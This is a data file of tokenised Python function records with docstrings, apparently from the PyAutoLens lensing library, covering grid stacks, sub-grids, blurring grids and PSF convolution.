{"signature": "def sub_to_image_grid(func):", "body": "@wraps(func)<EOL>def wrapper(grid, galaxies, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>result = func(grid, galaxies, *args, *kwargs)<EOL>if isinstance(grid, SubGrid):<EOL><INDENT>return grid.regular_data_1d_from_sub_data_1d(result)<EOL><DEDENT>else:<EOL><INDENT>return result<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Wrap the function in a function that, if the grid is a sub-grid (grids.SubGrid), rebins the computed \\\nvalues to the sub-grids corresponding regular-grid by taking the mean of each set of sub-gridded values.\n\nParameters\n----------\nfunc : (profiles, *args, **kwargs) -> Object\n    A function that requires the sub-grid and galaxies.", "id": "f5990:m0"}
{"signature": "def grid_interpolate(func):", "body": "@wraps(func)<EOL>def wrapper(profile, grid, grid_radial_minimum=None, *args, **kwargs):<EOL><INDENT>if hasattr(grid, \"<STR_LIT>\"):<EOL><INDENT>interpolator = grid.interpolator<EOL>if grid.interpolator is not None:<EOL><INDENT>values = func(profile, interpolator.interp_grid, grid_radial_minimum, *args, **kwargs)<EOL>if values.ndim == <NUM_LIT:1>:<EOL><INDENT>return interpolator.interpolated_values_from_values(values=values)<EOL><DEDENT>elif values.ndim == <NUM_LIT:2>:<EOL><INDENT>y_values = interpolator.interpolated_values_from_values(values=values[:, <NUM_LIT:0>])<EOL>x_values = interpolator.interpolated_values_from_values(values=values[:, <NUM_LIT:1>])<EOL>return np.asarray([y_values, x_values]).T<EOL><DEDENT><DEDENT><DEDENT>return func(profile, grid, grid_radial_minimum, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorate a profile method that accepts a coordinate grid and returns a data grid.\n\nIf an interpolator attribute is associated with the input grid then that interpolator is used to down sample the\ncoordinate grid prior to calling the function and up sample the result of the function.\n\nIf no interpolator attribute is associated with the input grid then the function is called as normal.\n\nParameters\n----------\nfunc\n    Some method that accepts a grid\n\nReturns\n-------\ndecorated_function\n    The function with optional interpolation", "id": "f5990:m1"}
{"signature": "def __init__(self, regular, sub, blurring, pix=None):", "body": "self.regular = regular<EOL>self.sub = sub<EOL>self.blurring = blurring<EOL>if pix is None:<EOL><INDENT>self.pix = np.array([[<NUM_LIT:0.0>, <NUM_LIT:0.0>]])<EOL><DEDENT>else:<EOL><INDENT>self.pix = pix<EOL><DEDENT>", "docstring": "A 'stack' of grid_stack which contain the (y,x) arc-second coordinates of pixels in a mask. The stack \\\n        contains at least 3 grid_stack:\n\n        regular - the (y,x) coordinate at the center of every unmasked pixel.\n\n        sub - the (y,x) coordinates of every sub-pixel in every unmasked pixel, each using a grid of size \\\n        (sub_grid_size x sub_grid_size).\n\n        blurring - the (y,x) coordinates of all blurring pixels, which are masked pixels whose light is \\\n        blurred into unmasked pixels during PSF convolution.\n\n        There are also optional grid_stack, used if specific PyAutoLens functionality is required:\n\n        pix - the (y,x) coordinates of the grid which is used to form the pixels of a \\\n        *pixelizations.AdaptivePixelization* pixelization.\n\n        The grid_stack are stored as 2D arrays, where each entry corresponds to the (y,x) coordinates of a pixel. The\n        positive y-axis is upwards and poitive x-axis to the right. The array is ordered such pixels begin from the \\\n        top-row of the mask and go rightwards and then downwards.\n\n        Parameters\n        -----------\n        regular : RegularGrid\n            The grid of (y,x) arc-second coordinates at the centre of every unmasked pixel.\n        sub : SubGrid | np.ndarray\n            The grid of (y,x) arc-second coordinates at the centre of every unmasked pixel's sub-pixels.\n        blurring : RegularGrid | ndarray | None\n            The grid of (y,x) arc-second coordinates at the centre of every blurring-mask pixel.\n        pix : PixGrid | ndarray | None\n            The grid of (y,x) arc-second coordinates of every image-plane pixelization grid used for adaptive source \\\n            -plane pixelizations.", "id": "f5990:c0:m0"}
{"signature": "def unmasked_blurred_image_from_psf_and_unmasked_image(self, psf, unmasked_image_1d):", "body": "blurred_image_1d = self.regular.convolve_array_1d_with_psf(padded_array_1d=unmasked_image_1d,<EOL>psf=psf)<EOL>return self.regular.scaled_array_2d_from_array_1d(array_1d=blurred_image_1d)<EOL>", "docstring": "For a padded grid-stack and psf, compute an unmasked blurred image from an unmasked unblurred image.\n\n        This relies on using the lens data's padded-grid, which is a grid of (y,x) coordinates which extends over the \\\n        entire image as opposed to just the masked region.\n\n        Parameters\n        ----------\n        psf : ccd.PSF\n            The PSF of the image used for convolution.\n        unmasked_image_1d : ndarray\n            The 1D unmasked image which is blurred.", "id": "f5990:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def grid_stack_from_mask_sub_grid_size_and_psf_shape(cls, mask, sub_grid_size, psf_shape):<DEDENT>", "body": "regular_grid = RegularGrid.from_mask(mask)<EOL>sub_grid = SubGrid.from_mask_and_sub_grid_size(mask, sub_grid_size)<EOL>blurring_grid = RegularGrid.blurring_grid_from_mask_and_psf_shape(mask, psf_shape)<EOL>return GridStack(regular_grid, sub_grid, blurring_grid)<EOL>", "docstring": "Setup a grid-stack of grid_stack from a mask, sub-grid size and psf-shape.\n\n        Parameters\n        -----------\n        mask : Mask\n            The mask whose unmasked pixels (*False*) are used to generate the grid-stack's grid_stack.\n        sub_grid_size : int\n            The size of a sub-pixel's sub-grid (sub_grid_size x sub_grid_size).\n        psf_shape : (int, int)\n            the shape of the PSF used in the analysis, which defines the mask's blurring-region.", "id": "f5990:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_shape_pixel_scale_and_sub_grid_size(cls, shape, pixel_scale, sub_grid_size=<NUM_LIT:2>):<DEDENT>", "body": "regular_grid = RegularGrid.from_shape_and_pixel_scale(shape=shape, pixel_scale=pixel_scale)<EOL>sub_grid = SubGrid.from_shape_pixel_scale_and_sub_grid_size(shape=shape, pixel_scale=pixel_scale,<EOL>sub_grid_size=sub_grid_size)<EOL>blurring_grid = np.array([[<NUM_LIT:0.0>, <NUM_LIT:0.0>]])<EOL>return GridStack(regular_grid, sub_grid, blurring_grid)<EOL>", "docstring": "Setup a grid-stack of grid_stack from a 2D array shape, a pixel scale and a sub-grid size.\n\n        This grid corresponds to a fully unmasked 2D array.\n\n        Parameters\n        -----------\n        shape : (int, int)\n            The 2D shape of the array, where all pixels are used to generate the grid-stack's grid_stack.\n        pixel_scale : float\n            The size of each pixel in arc seconds.            \n        sub_grid_size : int\n            The size of a sub-pixel's sub-grid (sub_grid_size x sub_grid_size).", "id": "f5990:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(cls, mask, sub_grid_size, psf_shape):<DEDENT>", "body": "regular_padded_grid = PaddedRegularGrid.padded_grid_from_shape_psf_shape_and_pixel_scale(<EOL>shape=mask.shape,<EOL>psf_shape=psf_shape,<EOL>pixel_scale=mask.pixel_scale)<EOL>sub_padded_grid = PaddedSubGrid.padded_grid_from_mask_sub_grid_size_and_psf_shape(mask=mask,<EOL>sub_grid_size=sub_grid_size,<EOL>psf_shape=psf_shape)<EOL>return GridStack(regular=regular_padded_grid, sub=sub_padded_grid, blurring=np.array([[<NUM_LIT:0.0>, <NUM_LIT:0.0>]]))<EOL>", "docstring": "Setup a grid-stack of masked grid_stack from a mask,  sub-grid size and psf-shape.\n\n        Parameters\n        -----------\n        mask : Mask\n            The mask whose masked pixels the grid-stack are setup using.\n        sub_grid_size : int\n            The size of a sub-pixels sub-grid (sub_grid_size x sub_grid_size).\n        psf_shape : (int, int)\n            The shape of the PSF used in the analysis, which defines the mask's blurring-region.", "id": "f5990:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def grid_stack_for_simulation(cls, shape, pixel_scale, psf_shape, sub_grid_size=<NUM_LIT:2>):<DEDENT>", "body": "return cls.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=msk.Mask(array=np.full(shape, False),<EOL>pixel_scale=pixel_scale),<EOL>sub_grid_size=sub_grid_size,<EOL>psf_shape=psf_shape)<EOL>", "docstring": "Setup a grid-stack of grid_stack for simulating an image of a strong lens, whereby the grid's use \\\n        padded-grid_stack to ensure that the PSF blurring in the simulation routine (*ccd.PrepatoryImage.simulate*) \\\n        is not degraded due to edge effects.\n\n        Parameters\n        -----------\n        shape : (int, int)\n            The 2D shape of the array, where all pixels are used to generate the grid-stack's grid_stack.\n        pixel_scale : float\n            The size of each pixel in arc seconds.            \n        psf_shape : (int, int)\n            The shape of the PSF used in the analysis, which defines how much the grid's must be masked to mitigate \\\n            edge effects.\n        sub_grid_size : int\n            The size of a sub-pixel's sub-grid (sub_grid_size x sub_grid_size).", "id": "f5990:c0:m5"}
{"signature": "def new_grid_stack_with_pix_grid_added(self, pix_grid, regular_to_nearest_pix):", "body": "pix = PixGrid(arr=pix_grid, regular_to_nearest_pix=regular_to_nearest_pix)<EOL>return GridStack(regular=self.regular, sub=self.sub, blurring=self.blurring, pix=pix)<EOL>", "docstring": "Setup a grid-stack of grid_stack using an existing grid-stack.\n\n        The new grid-stack has the same grid_stack (regular, sub, blurring, etc.) as before, but adds a pix-grid as a \\\n        new attribute.\n\n        Parameters\n        -----------\n        pix_grid : ndarray\n            The grid of (y,x) arc-second coordinates of every image-plane pixelization grid used for adaptive \\\n             pixelizations.\n        regular_to_nearest_pix : ndarray\n            A 1D array that maps every regular-grid pixel to its nearest pix-grid pixel.", "id": "f5990:c0:m7"}
{"signature": "def apply_function(self, func):", "body": "if self.blurring is not None and self.pix is not None:<EOL><INDENT>return GridStack(func(self.regular), func(self.sub), func(self.blurring), func(self.pix))<EOL><DEDENT>elif self.blurring is None and self.pix is not None:<EOL><INDENT>return GridStack(func(self.regular), func(self.sub), self.blurring, func(self.pix))<EOL><DEDENT>elif self.blurring is not None and self.pix is None:<EOL><INDENT>return GridStack(func(self.regular), func(self.sub), func(self.blurring), self.pix)<EOL><DEDENT>else:<EOL><INDENT>return GridStack(func(self.regular), func(self.sub), self.blurring, self.pix)<EOL><DEDENT>", "docstring": "Apply a function to all grid_stack in the grid-stack.\n\n        This is used by the *ray-tracing* module to easily apply tracing operations to all grid_stack.", "id": "f5990:c0:m8"}
{"signature": "def map_function(self, func, *arg_lists):", "body": "return GridStack(*[func(*args) for args in zip(self, *arg_lists)])<EOL>", "docstring": "Map a function to all grid_stack in a grid-stack", "id": "f5990:c0:m9"}
{"signature": "def __new__(cls, arr, mask, *args, **kwargs):", "body": "obj = arr.view(cls)<EOL>obj.mask = mask<EOL>obj.interpolator = None<EOL>return obj<EOL>", "docstring": "A regular grid of coordinates, where each entry corresponds to the (y,x) coordinates at the centre of an \\\n        unmasked pixel. The positive y-axis is upwards and poitive x-axis to the right. \n\n        A *RegularGrid* is ordered such pixels begin from the top-row of the mask and go rightwards and then \\ \n        downwards. Therefore, it is a ndarray of shape [total_unmasked_pixels, 2]. The first element of the ndarray \\\n        thus corresponds to the regular pixel index and second element the y or x arc -econd coordinates. For example:\n\n        - regular_grid[3,0] = the 4th unmasked pixel's y-coordinate.\n        - regular_grid[6,1] = the 7th unmasked pixel's x-coordinate.\n\n        Below is a visual illustration of a regular-grid, where a total of 10 pixels are unmasked and are included in \\\n        the grid.\n\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|     This is an example mask.Mask, where:\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|o|o|x|x|x|x|     x = True (Pixel is masked and excluded from the regular grid)\n        |x|x|x|o|o|o|o|x|x|x|     o = False (Pixel is not masked and included in the regular grid)\n        |x|x|x|o|o|o|o|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n\n        The mask pixel index's will come out like this (and the direction of arc-second coordinates is highlighted\n        around the mask.\n\n        pixel_scale = 1.0\"\n\n        <--- -ve  x  +ve -->\n                                                        y      x\n        |x|x|x|x|x|x|x|x|x|x|  ^   regular_grid[0] = [ 1.5, -0.5]\n        |x|x|x|x|x|x|x|x|x|x|  |   regular_grid[1] = [ 1.5,  0.5]\n        |x|x|x|x|x|x|x|x|x|x|  |   regular_grid[2] = [ 0.5, -1.5]\n        |x|x|x|x|0|1|x|x|x|x| +ve  regular_grid[3] = [ 0.5, -0.5]\n        |x|x|x|2|3|4|5|x|x|x|  y   regular_grid[4] = [ 0.5,  0.5]\n        |x|x|x|6|7|8|9|x|x|x| -ve  regular_grid[5] = [ 0.5,  1.5]\n        |x|x|x|x|x|x|x|x|x|x|  |   regular_grid[6] = [-0.5, -1.5]\n        |x|x|x|x|x|x|x|x|x|x|  |   regular_grid[7] = [-0.5, -0.5]\n        |x|x|x|x|x|x|x|x|x|x| \\/   regular_grid[8] = [-0.5,  0.5]\n        |x|x|x|x|x|x|x|x|x|x|      regular_grid[9] = [-0.5,  1.5]", "id": "f5990:c1:m0"}
{"signature": "def convolve_array_1d_with_psf(self, padded_array_1d, psf):", "body": "padded_array_2d = mapping_util.map_unmasked_1d_array_to_2d_array_from_array_1d_and_shape(<EOL>array_1d=padded_array_1d, shape=self.mask.shape)<EOL>blurred_padded_array_2d = psf.convolve(array=padded_array_2d)<EOL>return mapping_util.map_2d_array_to_masked_1d_array_from_array_2d_and_mask(array_2d=blurred_padded_array_2d,<EOL>mask=np.full(self.mask.shape, False))<EOL>", "docstring": "Convolve a 1d padded array of values (e.g. intensities before PSF blurring) with a PSF, and then trim \\\n        the convolved array to its original 2D shape.\n\n        Parameters\n        -----------\n        padded_array_1d: ndarray\n            A 1D array of values which were computed using the *PaddedRegularGrid*.\n        psf : ndarray\n            An array describing the PSF kernel of the image.", "id": "f5990:c1:m5"}
{"signature": "@classmethod<EOL><INDENT>def from_mask(cls, mask):<DEDENT>", "body": "array = grid_util.regular_grid_1d_masked_from_mask_pixel_scales_and_origin(mask=mask,<EOL>pixel_scales=mask.pixel_scales)<EOL>return cls(array, mask)<EOL>", "docstring": "Setup a regular-grid from a mask, wehere the center of every unmasked pixel gives the grid's (y,x) \\\n        arc-second coordinates.\n\n        Parameters\n        -----------\n        mask : Mask\n            The mask whose unmasked pixels are used to setup the regular-pixel grid.", "id": "f5990:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def from_shape_and_pixel_scale(cls, shape, pixel_scale):<DEDENT>", "body": "mask = msk.Mask.unmasked_for_shape_and_pixel_scale(shape=shape, pixel_scale=pixel_scale)<EOL>array = grid_util.regular_grid_1d_masked_from_mask_pixel_scales_and_origin(mask=mask,<EOL>pixel_scales=mask.pixel_scales)<EOL>return cls(array, mask)<EOL>", "docstring": "Setup a regular-grid from a 2D array shape and pixel scale. Here, the center of every pixel on the 2D \\\n        array gives the grid's (y,x) arc-second coordinates. \n\n        This is equivalent to using a 2D mask consisting entirely of unmasked pixels.\n\n        Parameters\n        -----------\n        shape : (int, int)\n            The 2D shape of the array, where all pixels are used to generate the grid-stack's grid_stack.\n        pixel_scale : float\n            The size of each pixel in arc seconds.", "id": "f5990:c1:m7"}
{"signature": "@classmethod<EOL><INDENT>def blurring_grid_from_mask_and_psf_shape(cls, mask, psf_shape):<DEDENT>", "body": "blurring_mask = mask.blurring_mask_for_psf_shape(psf_shape)<EOL>return RegularGrid.from_mask(blurring_mask)<EOL>", "docstring": "Setup a blurring-grid from a mask, where a blurring grid consists of all pixels that are masked, but they \\\n        are close enough to the unmasked pixels that a fraction of their light will be blurred into those pixels \\\n        via PSF convolution. For example, if our mask is as follows:\n\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|     This is an ccd.Mask, where:\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|     x = True (Pixel is masked and excluded from lens)\n        |x|x|x|o|o|o|x|x|x|x|     o = False (Pixel is not masked and included in lens)\n        |x|x|x|o|o|o|x|x|x|x|\n        |x|x|x|o|o|o|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n\n        For a PSF of shape (3,3), the following blurring mask is computed (noting that only pixels that are direct \\\n        neighbors of the unmasked pixels above will blur light into an unmasked pixel):\n\n        |x|x|x|x|x|x|x|x|x|     This is an example regular.Mask, where:\n        |x|x|x|x|x|x|x|x|x|\n        |x|x|o|o|o|o|o|x|x|     x = True (Pixel is masked and excluded from lens)\n        |x|x|o|x|x|x|o|x|x|     o = False (Pixel is not masked and included in lens)\n        |x|x|o|x|x|x|o|x|x|\n        |x|x|o|x|x|x|o|x|x|\n        |x|x|o|o|o|o|o|x|x|\n        |x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|\n\n        Thus, the blurring grid coordinates and indexes will be as follows:\n\n        pixel_scale = 1.0\"\n\n        <--- -ve  x  +ve -->\n                                                            y     x\n        |x|x|x |x |x |x |x |x|x|  |   blurring_grid[0] = [2.0, -2.0]  blurring_grid[9] =  [-1.0, -2.0]\n        |x|x|x |x |x |x |x |x|x|  |   blurring_grid[1] = [2.0, -1.0]  blurring_grid[10] = [-1.0,  2.0]\n        |x|x|0 |1 |2 |3 |4 |x|x| +ve  blurring_grid[2] = [2.0,  0.0]  blurring_grid[11] = [-2.0, -2.0]\n        |x|x|5 |x |x |x |6 |x|x|  y   blurring_grid[3] = [2.0,  1.0]  blurring_grid[12] = [-2.0, -1.0]\n        |x|x|7 |x |x |x |8 |x|x| -ve  blurring_grid[4] = [2.0,  2.0]  blurring_grid[13] = [-2.0,  0.0]\n        |x|x|9 |x |x |x |10|x|x|  |   blurring_grid[5] = [1.0, -2.0]  blurring_grid[14] = [-2.0,  1.0]\n        |x|x|11|12|13|14|15|x|x|  |   blurring_grid[6] = [1.0,  2.0]  blurring_grid[15] = [-2.0,  2.0]\n        |x|x|x |x |x |x |x |x|x| \\/   blurring_grid[7] = [0.0, -2.0]\n        |x|x|x |x |x |x |x |x|x|      blurring_grid[8] = [0.0,  2.0]\n\n        For a PSF of shape (5,5), the following blurring mask is computed (noting that pixels that are 2 pixels from an\n        direct unmasked pixels now blur light into an unmasked pixel):\n\n        |x|x|x|x|x|x|x|x|x|     This is an example regular.Mask, where:\n        |x|o|o|o|o|o|o|o|x|\n        |x|o|o|o|o|o|o|o|x|     x = True (Pixel is masked and excluded from lens)\n        |x|o|o|x|x|x|o|o|x|     o = False (Pixel is not masked and included in lens)\n        |x|o|o|x|x|x|o|o|x|\n        |x|o|o|x|x|x|o|o|x|\n        |x|o|o|o|o|o|o|o|x|\n        |x|o|o|o|o|o|o|o|x|\n        |x|x|x|x|x|x|x|x|x|", "id": "f5990:c1:m8"}
{"signature": "def array_2d_from_array_1d(self, array_1d):", "body": "return mapping_util.map_masked_1d_array_to_2d_array_from_array_1d_shape_and_one_to_two(<EOL>array_1d=array_1d, shape=self.mask.shape, one_to_two=self.mask.masked_grid_index_to_pixel)<EOL>", "docstring": "Map a 1D array the same dimension as the grid to its original masked 2D array.\n\n        Parameters\n        -----------\n        array_1d : ndarray\n            The 1D array which is mapped to its masked 2D array.", "id": "f5990:c1:m10"}
{"signature": "def scaled_array_2d_from_array_1d(self, array_1d):", "body": "return scaled_array.ScaledSquarePixelArray(array=self.array_2d_from_array_1d(array_1d),<EOL>pixel_scale=self.mask.pixel_scale,<EOL>origin=self.mask.origin)<EOL>", "docstring": "Map a 1D array the same dimension as the grid to its original masked 2D array and return it as a scaled \\\n        array.\n\n        Parameters\n        -----------\n        array_1d : ndarray\n            The 1D array of which is mapped to a 2D scaled array.", "id": "f5990:c1:m11"}
{"signature": "@property<EOL><INDENT>def yticks(self):<DEDENT>", "body": "return np.linspace(np.min(self[:, <NUM_LIT:0>]), np.max(self[:, <NUM_LIT:0>]), <NUM_LIT:4>)<EOL>", "docstring": "Compute the yticks labels of this grid, used for plotting the y-axis ticks when visualizing a regular", "id": "f5990:c1:m16"}
{"signature": "@property<EOL><INDENT>def xticks(self):<DEDENT>", "body": "return np.linspace(np.min(self[:, <NUM_LIT:1>]), np.max(self[:, <NUM_LIT:1>]), <NUM_LIT:4>)<EOL>", "docstring": "Compute the xticks labels of this grid, used for plotting the x-axis ticks when visualizing a regular", "id": "f5990:c1:m17"}
{"signature": "def __init__(self, array, mask, sub_grid_size=<NUM_LIT:1>):", "body": "<EOL>super(SubGrid, self).__init__()<EOL>self.mask = mask<EOL>self.sub_grid_size = sub_grid_size<EOL>self.sub_grid_length = int(sub_grid_size ** <NUM_LIT>)<EOL>self.sub_grid_fraction = <NUM_LIT:1.0> / self.sub_grid_length<EOL>", "docstring": "A sub-grid of coordinates, where each entry corresponds to the (y,x) coordinates at the centre of each \\\n        sub-pixel of an unmasked pixel (e.g. the pixels of a regular-grid). The positive y-axis is upwards and poitive \\\n        x-axis to the right, and this convention is followed for the sub-pixels in each unmasked pixel.\n\n        A *SubGrid* is ordered such that pixels begin from the first (top-left) sub-pixel in the first unmasked pixel. \\\n        Indexes then go over the sub-pixels in each unmasked pixel, for every unmasked pixel. Therefore, \\\n        the sub-grid is an ndarray of shape [total_unmasked_pixels*(sub_grid_shape)**2, 2]. For example:\n\n        - sub_grid[9, 1] - using a 2x2 sub-grid, gives the 3rd unmasked pixel's 2nd sub-pixel x-coordinate.\n        - sub_grid[9, 1] - using a 3x3 sub-grid, gives the 2nd unmasked pixel's 1st sub-pixel x-coordinate.\n        - sub_grid[27, 0] - using a 3x3 sub-grid, gives the 4th unmasked pixel's 1st sub-pixel y-coordinate.\n\n        Below is a visual illustration of a sub grid. Like the regular grid, the indexing of each sub-pixel goes from \\\n        the top-left corner. In contrast to the regular grid above, our illustration below restricts the mask to just \\\n        2 pixels, to keep the illustration brief.\n\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|     This is an example mask.Mask, where:\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|     x = True (Pixel is masked and excluded from lens)\n        |x|x|x|x|o|o|x|x|x|x|     o = False (Pixel is not masked and included in lens)\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n        |x|x|x|x|x|x|x|x|x|x|\n\n        Our regular-grid looks like it did before:\n\n        pixel_scale = 1.0\"\n\n        <--- -ve  x  +ve -->\n\n        |x|x|x|x|x|x|x|x|x|x|  ^\n        |x|x|x|x|x|x|x|x|x|x|  |\n        |x|x|x|x|x|x|x|x|x|x|  |                        y     x\n        |x|x|x|x|x|x|x|x|x|x| +ve  regular_grid[0] = [0.5,  -1.5]\n        |x|x|x|0|1|x|x|x|x|x|  y   regular_grid[1] = [0.5,  -0.5]\n        |x|x|x|x|x|x|x|x|x|x| -ve\n        |x|x|x|x|x|x|x|x|x|x|  |\n        |x|x|x|x|x|x|x|x|x|x|  |\n        |x|x|x|x|x|x|x|x|x|x| \\/\n        |x|x|x|x|x|x|x|x|x|x|\n\n        However, we now go to each unmasked pixel and derive a sub-pixel grid for it. For example, for pixel 0,\n        if *sub_grid_size=2*, we use a 2x2 sub-grid:\n\n        Pixel 0 - (2x2):\n                                y      x\n               sub_grid[0] = [0.66, -1.66]\n        |0|1|  sub_grid[1] = [0.66, -1.33]\n        |2|3|  sub_grid[2] = [0.33, -1.66]\n               sub_grid[3] = [0.33, -1.33]\n\n        Now, we'd normally sub-grid all pixels using the same *sub_grid_size*, but for this illustration lets\n        pretend we used a sub_grid_size of 3x3 for pixel 1:\n\n                                  y      x\n                 sub_grid[0] = [0.75, -0.75]\n                 sub_grid[1] = [0.75, -0.5]\n                 sub_grid[2] = [0.75, -0.25]\n        |0|1|2|  sub_grid[3] = [0.5,  -0.75]\n        |3|4|5|  sub_grid[4] = [0.5,  -0.5]\n        |6|7|8|  sub_grid[5] = [0.5,  -0.25]\n                 sub_grid[6] = [0.25, -0.75]\n                 sub_grid[7] = [0.25, -0.5]\n                 sub_grid[8] = [0.25, -0.25]", "id": "f5990:c2:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_mask_and_sub_grid_size(cls, mask, sub_grid_size=<NUM_LIT:1>):<DEDENT>", "body": "sub_grid_masked = grid_util.sub_grid_1d_masked_from_mask_pixel_scales_and_sub_grid_size(<EOL>mask=mask,<EOL>pixel_scales=mask.pixel_scales,<EOL>sub_grid_size=sub_grid_size)<EOL>return SubGrid(sub_grid_masked, mask, sub_grid_size)<EOL>", "docstring": "Setup a sub-grid of the unmasked pixels, using a mask and a specified sub-grid size. The center of \\\n        every unmasked pixel's sub-pixels give the grid's (y,x) arc-second coordinates.\n\n        Parameters\n        -----------\n        mask : Mask\n            The mask whose masked pixels are used to setup the sub-pixel grid_stack.\n        sub_grid_size : int\n            The size (sub_grid_size x sub_grid_size) of each unmasked pixels sub-grid.", "id": "f5990:c2:m3"}
{"signature": "@classmethod<EOL><INDENT>def from_shape_pixel_scale_and_sub_grid_size(cls, shape, pixel_scale, sub_grid_size):<DEDENT>", "body": "mask = msk.Mask.unmasked_for_shape_and_pixel_scale(shape=shape, pixel_scale=pixel_scale)<EOL>sub_grid = grid_util.sub_grid_1d_masked_from_mask_pixel_scales_and_sub_grid_size(mask=mask,<EOL>pixel_scales=mask.pixel_scales,<EOL>sub_grid_size=sub_grid_size)<EOL>return SubGrid(sub_grid, mask, sub_grid_size)<EOL>", "docstring": "Setup a sub-grid from a 2D array shape and pixel scale. Here, the center of every pixel on the 2D \\\n        array gives the grid's (y,x) arc-second coordinates, where each pixel has sub-pixels specified by the \\\n        sub-grid size.\n\n        This is equivalent to using a 2D mask consisting entirely of unmasked pixels.\n\n        Parameters\n        -----------\n        shape : (int, int)\n            The 2D shape of the array, where all pixels are used to generate the grid-stack's grid_stack.\n        pixel_scale : float\n            The size of each pixel in arc seconds.\n        sub_grid_size : int\n            The size (sub_grid_size x sub_grid_size) of each unmasked pixels sub-grid.", "id": "f5990:c2:m4"}
{"signature": "def sub_array_2d_from_sub_array_1d(self, sub_array_1d):", "body": "sub_shape = (self.mask.shape[<NUM_LIT:0>] * self.sub_grid_size, self.mask.shape[<NUM_LIT:1>] * self.sub_grid_size)<EOL>sub_one_to_two = self.mask.masked_sub_grid_index_to_sub_pixel(sub_grid_size=self.sub_grid_size)<EOL>return mapping_util.map_masked_1d_array_to_2d_array_from_array_1d_shape_and_one_to_two(<EOL>array_1d=sub_array_1d, shape=sub_shape, one_to_two=sub_one_to_two)<EOL>", "docstring": "Map a 1D sub-array the same dimension as the sub-grid (e.g. including sub-pixels) to its original masked\n        2D sub array.\n\n        Parameters\n        -----------\n        sub_array_1d : ndarray\n            The 1D sub_array which is mapped to its masked 2D sub-array.", "id": "f5990:c2:m5"}
{"signature": "def scaled_array_2d_with_sub_dimensions_from_sub_array_1d(self, sub_array_1d):", "body": "return scaled_array.ScaledSquarePixelArray(array=self.sub_array_2d_from_sub_array_1d(sub_array_1d=sub_array_1d),<EOL>pixel_scale=self.mask.pixel_scale / self.sub_grid_size,<EOL>origin=self.mask.origin)<EOL>", "docstring": "Map a 1D sub-array the same dimension as the sub-grid to its original masked 2D sub-array and return it as\n        a scaled array.\n\n        Parameters\n        -----------\n        sub_array_1d : ndarray\n            The 1D sub-array of which is mapped to a 2D scaled sub-array the dimensions.", "id": "f5990:c2:m6"}
{"signature": "def scaled_array_2d_with_regular_dimensions_from_binned_up_sub_array_1d(self, sub_array_1d):", "body": "array_1d = self.regular_data_1d_from_sub_data_1d(sub_array_1d=sub_array_1d)<EOL>return scaled_array.ScaledSquarePixelArray(array=self.array_2d_from_array_1d(array_1d=array_1d),<EOL>pixel_scale=self.mask.pixel_scale,<EOL>origin=self.mask.origin)<EOL>", "docstring": "Map a 1D sub-array the same dimension as the sub-grid to its original masked 2D sub-array and return it as\n        a scaled array.\n\n        Parameters\n        -----------\n        sub_array_1d : ndarray\n            The 1D sub-array of which is mapped to a 2D scaled sub-array the dimensions.", "id": "f5990:c2:m7"}
{"signature": "def regular_data_1d_from_sub_data_1d(self, sub_array_1d):", "body": "return np.multiply(self.sub_grid_fraction, sub_array_1d.reshape(-<NUM_LIT:1>, self.sub_grid_length).sum(axis=<NUM_LIT:1>))<EOL>", "docstring": "For an input sub-gridded array, map its hyper-values from the sub-gridded values to a 1D regular grid of \\\n        values by summing each set of each set of sub-pixels values and dividing by the total number of sub-pixels.\n\n        Parameters\n        -----------\n        sub_array_1d : ndarray\n            A 1D sub-gridded array of values (e.g. the intensities, surface-densities, potential) which is mapped to\n            a 1d regular array.", "id": "f5990:c2:m9"}
{"signature": "@property<EOL><INDENT>@array_util.Memoizer()<EOL>def sub_to_regular(self):<DEDENT>", "body": "return mapping_util.sub_to_regular_from_mask(self.mask, self.sub_grid_size).astype('<STR_LIT:int>')<EOL>", "docstring": "The mapping between every sub-pixel and its host regular-pixel.\n\n        For example:\n\n        - sub_to_pixel[8] = 2 -  The ninth sub-pixel is within the 3rd regular pixel.\n        - sub_to_pixel[20] = 4 -  The twenty first sub-pixel is within the 5th regular pixel.", "id": "f5990:c2:m10"}
